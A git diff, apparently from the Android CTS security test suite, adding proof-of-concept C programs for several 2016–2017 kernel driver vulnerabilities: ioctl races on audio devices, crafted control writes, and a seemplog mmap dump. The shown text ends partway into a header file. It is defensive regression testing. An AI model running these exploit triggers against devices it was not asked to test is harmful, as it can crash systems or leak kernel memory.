diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index f994169..c5342ba 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -782,7 +782,7 @@
}
protected void assertAppIdle(boolean enabled) throws Exception {
- assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 10, 2, "Idle=" + enabled);
+ assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
}
/**
@@ -848,6 +848,8 @@
return;
} else if (type == TYPE_COMPONENT_ACTIVTIY) {
turnScreenOn();
+ // Wait for screen-on state to propagate through the system.
+ SystemClock.sleep(2000);
final CountDownLatch latch = new CountDownLatch(1);
final Intent launchIntent = getIntentForComponent(type);
final Bundle extras = new Bundle();
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index deb4f44..41775b3 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -45,6 +45,15 @@
<option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
<option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
<option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
+ <option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
+ <option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
+ <option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
+ <option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
+ <option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
+ <option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
+ <option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
+ <option name="push" value="CVE-2017-0564->/data/local/tmp/CVE-2017-0564" />
+ <option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
<option name="append-bitness" value="true" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
new file mode 100644
index 0000000..5178058
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33452365
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/poc.c b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
new file mode 100644
index 0000000..e6755a9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+
+#define THREAD_NUM 600
+#define DEV "/dev/snd/pcmC0D16c"
+
+typedef _Bool bool;
+
+enum lsm_app_id {
+ LSM_VOICE_WAKEUP_APP_ID = 1,
+ LSM_VOICE_WAKEUP_APP_ID_V2 = 2,
+};
+
+enum lsm_detection_mode {
+ LSM_MODE_KEYWORD_ONLY_DETECTION = 1,
+ LSM_MODE_USER_KEYWORD_DETECTION
+};
+
+enum lsm_vw_status {
+ LSM_VOICE_WAKEUP_STATUS_RUNNING = 1,
+ LSM_VOICE_WAKEUP_STATUS_DETECTED,
+ LSM_VOICE_WAKEUP_STATUS_END_SPEECH,
+ LSM_VOICE_WAKEUP_STATUS_REJECTED
+};
+
+enum LSM_PARAM_TYPE {
+ LSM_ENDPOINT_DETECT_THRESHOLD = 0,
+ LSM_OPERATION_MODE,
+ LSM_GAIN,
+ LSM_MIN_CONFIDENCE_LEVELS,
+ LSM_REG_SND_MODEL,
+ LSM_DEREG_SND_MODEL,
+ LSM_CUSTOM_PARAMS,
+ LSM_PARAMS_MAX,
+};
+
+struct snd_lsm_ep_det_thres {
+ __u32 epd_begin;
+ __u32 epd_end;
+};
+
+struct snd_lsm_detect_mode {
+ enum lsm_detection_mode mode;
+ bool detect_failure;
+};
+
+struct snd_lsm_gain {
+ __u16 gain;
+};
+
+struct snd_lsm_sound_model_v2 {
+ __u8 __user *data;
+ __u8 *confidence_level;
+ __u32 data_size;
+ enum lsm_detection_mode detection_mode;
+ __u8 num_confidence_levels;
+ bool detect_failure;
+};
+
+struct snd_lsm_session_data {
+ enum lsm_app_id app_id;
+};
+
+struct snd_lsm_event_status {
+ __u16 status;
+ __u16 payload_size;
+ __u8 payload[0];
+};
+
+struct snd_lsm_detection_params {
+ __u8 *conf_level;
+ enum lsm_detection_mode detect_mode;
+ __u8 num_confidence_levels;
+ bool detect_failure;
+};
+
+struct lsm_params_info {
+ __u32 module_id;
+ __u32 param_id;
+ __u32 param_size;
+ __u8 __user *param_data;
+ enum LSM_PARAM_TYPE param_type;
+};
+
+struct snd_lsm_module_params {
+ __u8 __user *params;
+ __u32 num_params;
+ __u32 data_size;
+};
+
+struct snd_lsm_output_format_cfg {
+ __u8 format;
+ __u8 packing;
+ __u8 events;
+ __u8 mode;
+};
+
+#define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int)
+#define SNDRV_LSM_EVENT_STATUS _IOW('U', 0x02, struct snd_lsm_event_status)
+#define SNDRV_LSM_ABORT_EVENT _IOW('U', 0x03, int)
+#define SNDRV_LSM_START _IOW('U', 0x04, int)
+#define SNDRV_LSM_STOP _IOW('U', 0x05, int)
+#define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data)
+#define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\
+ struct snd_lsm_sound_model_v2)
+#define SNDRV_LSM_LAB_CONTROL _IOW('U', 0x08, uint32_t)
+#define SNDRV_LSM_STOP_LAB _IO('U', 0x09)
+#define SNDRV_LSM_SET_PARAMS _IOW('U', 0x0A, \
+ struct snd_lsm_detection_params)
+#define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \
+ struct snd_lsm_module_params)
+
+int fd;
+pthread_t thread_id[THREAD_NUM+1] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int attack = 0;
+
+struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0};
+struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0};
+struct snd_lsm_detection_params snd_params = {0, 0, 0, 0};
+unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls";
+unsigned char confidence_level_1[4] = "123";
+unsigned char confidence_level_2[20] = "12345678";
+
+static int set_affinity(int num)
+{
+ int ret = 0;
+ cpu_set_t mask;
+ CPU_ZERO(&mask);
+ CPU_SET(num, &mask);
+ ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+
+ return ret;
+}
+
+void* child_ioctl_0()
+{
+ set_affinity(1);
+ snd_model_v2_1.data = snd_data;
+ snd_model_v2_1.data_size = sizeof(snd_data);
+ snd_model_v2_1.confidence_level = confidence_level_1;
+ snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1);
+ snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+ snd_model_v2_1.detect_failure = 1;
+
+ while(1){
+ ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1);
+ }
+}
+
+void* child_ioctl_1()
+{
+ set_affinity(2);
+ snd_model_v2_2.data = snd_data;
+ snd_model_v2_2.data_size = sizeof(snd_data);
+ snd_model_v2_2.confidence_level = confidence_level_2;
+ snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2);
+ snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+ snd_model_v2_2.detect_failure = 1;
+
+ snd_params.num_confidence_levels = 20;
+ snd_params.conf_level = confidence_level_2;
+ snd_params.detect_failure = 1;
+ snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+
+ while(1){
+ nanosleep((const struct timespec[]){{0, 100000}}, NULL);
+ ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params);
+ }
+}
+
+int main()
+{
+ int i, ret;
+
+ set_affinity(0);
+
+ fd = open(DEV,O_RDWR);
+ if(fd == -1){
+ return -1;
+ }
+
+ ret = ioctl(fd, SNDRV_LSM_START, 0);
+ if(ret)
+ return -1;
+
+ for(i = 0; i < 300; i = i + 2){
+ thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+ thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL);
+ }
+
+ i = 0;
+ attack = 1;
+ while(100){
+ nanosleep((const struct timespec[]){{0, 100000}}, NULL);
+ }
+ attack = 0;
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
new file mode 100644
index 0000000..3ba801e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10231
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
new file mode 100644
index 0000000..b6b82d7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <string.h>
+#include <stdlib.h>
+
+#define SNDRV_CTL_IOCTL_ELEM_WRITE _IOWR('U', 0x13, struct snd_ctl_elem_value)
+
+typedef int __bitwise snd_ctl_elem_iface_t;
+
+struct snd_aes_iec958 {
+ unsigned char status[24];
+ unsigned char subcode[147];
+ unsigned char pad;
+ unsigned char dig_subframe[4];
+};
+
+struct snd_ctl_elem_id {
+ unsigned int numid;
+ snd_ctl_elem_iface_t iface;
+ unsigned int device;
+ unsigned int subdevice;
+ unsigned char name[44];
+ unsigned int index;
+};
+
+struct snd_ctl_elem_value {
+ struct snd_ctl_elem_id id;
+ unsigned int indirect: 1;
+ union {
+ union {
+ long value[128];
+ long *value_ptr;
+ } integer;
+ union {
+ long long value[64];
+ long long *value_ptr;
+ } integer64;
+ union {
+ unsigned int item[128];
+ unsigned int *item_ptr;
+ } enumerated;
+ union {
+ unsigned char data[512];
+ unsigned char *data_ptr;
+ } bytes;
+ struct snd_aes_iec958 iec958;
+ } value;
+ struct timespec tstamp;
+ unsigned char reserved[128-sizeof(struct timespec)];
+};
+
+int main()
+{
+ struct snd_ctl_elem_value val;
+ memset(&val, 0xff, sizeof(val));
+ val.id.numid = 0x80;
+ val.id.iface = 0x1;
+ val.id.device = 0x400;
+ val.id.subdevice = 0x7;
+ memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
+ val.id.index = 4;
+ val.value.integer.value[0] = 0x30;
+ int fd = open("/dev/snd/controlC0", O_RDWR);
+ ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
new file mode 100644
index 0000000..6e52fa7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0451
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact \
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
new file mode 100644
index 0000000..88b7378
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#define MSG_REQUEST 0x2
+
+struct voice_svc_write_msg {
+ __u32 msg_type;
+ __u8 payload[0];
+};
+
+int main() {
+ int g_fd = 0;
+ char* dev_path = "/dev/voice_svc";
+
+ g_fd = open(dev_path, O_RDWR);
+ if (g_fd < 0) {
+ return -1;
+ }
+
+ int size = sizeof(struct voice_svc_write_msg) + 4;
+ char* msg = (char*)malloc(size);
+
+ (msg + 4)[0] = 'A';
+ (msg + 4)[1] = 'A';
+ (msg + 4)[2] = 'A';
+ (msg + 4)[3] = 'A';
+ ((struct voice_svc_write_msg*)msg)->msg_type = MSG_REQUEST;
+
+ int i;
+ for (i = 0; i < 20; ++i) {
+ write(g_fd, msg, size);
+ sleep(1);
+ }
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
new file mode 100644
index 0000000..46c773d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0462
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
new file mode 100644
index 0000000..5cf6a49
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define DEVICE "/dev/seemplog"
+#define SZ_1M 0x100000
+#define FOUR_MB (4 * SZ_1M)
+
+#define BLK_SIZE 256
+#define BLK_HDR_SIZE 64
+#define TS_SIZE 20
+#define BLK_MAX_MSG_SZ (BLK_SIZE - BLK_HDR_SIZE)
+
+#define TASK_COMM_LEN 16
+
+#define MAGIC 'z'
+
+#define SEEMP_CMD_RESERVE_RDBLKS _IOR(MAGIC, 1, int)
+#define SEEMP_CMD_RELEASE_RDBLKS _IO(MAGIC, 2)
+#define SEEMP_CMD_GET_RINGSZ _IOR(MAGIC, 3, int)
+#define SEEMP_CMD_GET_BLKSZ _IOR(MAGIC, 4, int)
+#define SEEMP_CMD_SET_MASK _IO(MAGIC, 5)
+#define SEEMP_CMD_SET_MAPPING _IO(MAGIC, 6)
+#define SEEMP_CMD_CHECK_FILTER _IOR(MAGIC, 7, int)
+#define SEEMP_CMD_DEBUG_START _IOR(MAGIC, 8, int)
+#define SEEMP_CMD_DEBUG_STOP _IOR(MAGIC, 9, int)
+
+struct read_range {
+ int start_idx;
+ int num;
+};
+
+struct blk_payload {
+ uint32_t api_id;
+ char msg[BLK_MAX_MSG_SZ];
+} __attribute__((packed));
+
+struct seemp_logk_blk {
+ uint8_t status;
+ uint16_t len;
+ uint8_t version;
+ int32_t pid;
+ int32_t uid;
+ int32_t tid;
+ int32_t sec;
+ int32_t nsec;
+ char ts[TS_SIZE];
+ char appname[TASK_COMM_LEN];
+ struct blk_payload payload;
+} __attribute__((packed));
+
+void dump_blk_headers(char *ptr) {
+ int i;
+ struct seemp_logk_blk *temp;
+
+ for (i = 0; i < (FOUR_MB / 256); i++) {
+ temp = (struct seemp_logk_blk *)ptr;
+
+ ptr += 256;
+ }
+}
+
+void print_maps(int time) {
+ char cmd[] = "/proc/%d/maps";
+ char cmd2[sizeof("/proc/-2147483648/maps")];
+ FILE *fp;
+ size_t nread;
+ char buf[1024];
+
+ snprintf(cmd2, sizeof(cmd2)-1, cmd, getpid());
+
+ fp = fopen(cmd2, "r");
+ if (fp == NULL) {
+ exit(-1);
+ }
+
+ while ((nread = fread(buf, 1, sizeof(buf), fp)) > 0)
+ fwrite(buf, 1, nread, stdout);
+
+ fclose(fp);
+ sleep(time);
+}
+
+void reserve_rdblks(int fd) {
+ struct read_range rrange;
+ ioctl(fd, SEEMP_CMD_RESERVE_RDBLKS, &rrange);
+}
+
+unsigned int get_ringsz(int fd) {
+ unsigned int ringsz;
+ ioctl(fd, SEEMP_CMD_GET_RINGSZ, &ringsz);
+ return ringsz;
+}
+
+unsigned int get_blksz(int fd) {
+ unsigned int blksz;
+ ioctl(fd, SEEMP_CMD_GET_BLKSZ, &blksz);
+ return blksz;
+}
+
+void write_to_file(char *ptr) {
+ FILE *dumpfp = fopen("/data/local/tmp/dump", "wb");
+ int i;
+
+ if (dumpfp == NULL) {
+ exit(-1);
+ }
+
+ fwrite(ptr, 1, FOUR_MB, dumpfp);
+ fclose(dumpfp);
+}
+
+void write_to_dev(int fd) {
+ char ts[] = "IIIIIIIIIIIIIIIIIIII";
+ char appname[] = "JJJJJJJJJJJJJJJJ";
+ char msg[] = "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL";
+
+ struct seemp_logk_blk block;
+
+ block.status = 0xff;
+ block.len = 0x4242;
+ block.version = 'C';
+ block.pid = 0x44444444;
+ block.uid = 0x45454545;
+ block.tid = 0x46464646;
+ block.sec = 0x47474747;
+ block.nsec = 0x48484848;
+ strcpy(block.ts, ts);
+ strcpy(block.appname, appname);
+ block.payload.api_id = 0x51515151;
+ strcpy(block.payload.msg, msg);
+}
+
+void do_mapping(void **ptr, int fd) {
+ *ptr = mmap(NULL,
+ FOUR_MB,
+ 0x7,
+ MAP_SHARED,
+ fd,
+ 0);
+ if (*ptr == MAP_FAILED) {
+ close(fd);
+ exit(-1);
+ }
+}
+
+void spam_mapped_region(char *ptr, int offset, int size) {
+ int i;
+ for (i = offset; i < size; i++)
+ *(ptr + i) = 'A';
+}
+
+void start_printk(int fd) {
+ ioctl(fd, SEEMP_CMD_DEBUG_START, NULL);
+}
+
+void stop_printk(int fd) {
+ ioctl(fd, SEEMP_CMD_DEBUG_STOP, NULL);
+}
+
+int main() {
+ int fd;
+ void *ptr;
+ int i;
+
+ fd = open(DEVICE, O_RDWR);
+ if (fd == -1) {
+ exit(-1);
+ }
+
+ start_printk(fd);
+
+ do_mapping(&ptr, fd);
+
+ for (i = 0; i < (FOUR_MB / 256); i++)
+ write_to_dev(fd);
+
+ dump_blk_headers(ptr);
+ print_maps(5);
+
+ write_to_file(ptr);
+
+ stop_printk(fd);
+
+ close(fd);
+ munmap(ptr, FOUR_MB);
+
+ return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
new file mode 100644
index 0000000..91d154c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0564
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
new file mode 100644
index 0000000..6867562
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
